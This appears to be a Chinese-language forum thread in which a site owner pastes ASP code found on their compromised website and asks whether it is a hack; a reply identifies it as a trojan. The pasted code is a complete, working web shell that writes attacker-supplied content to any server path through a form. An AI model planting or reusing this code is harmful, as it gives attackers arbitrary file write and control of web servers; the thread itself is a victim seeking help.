请问我的站点是否中招了！下面是被更换的代码！

[parco]

<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red>save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post>" %>
<% Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\x.asp):</font>" %>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "<br>" %>
<% Response.write "本文件绝对路径" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "<br>" %>
<% Response.write "输入马的内容:" %>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
<% Response.write "<input type=submit value=保存>" %>
<% Response.write "</form>" %>

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看上去是木马，利用FSO他想存什么恶意代码进来！

[parco]

可不明白这个代码是怎么进来的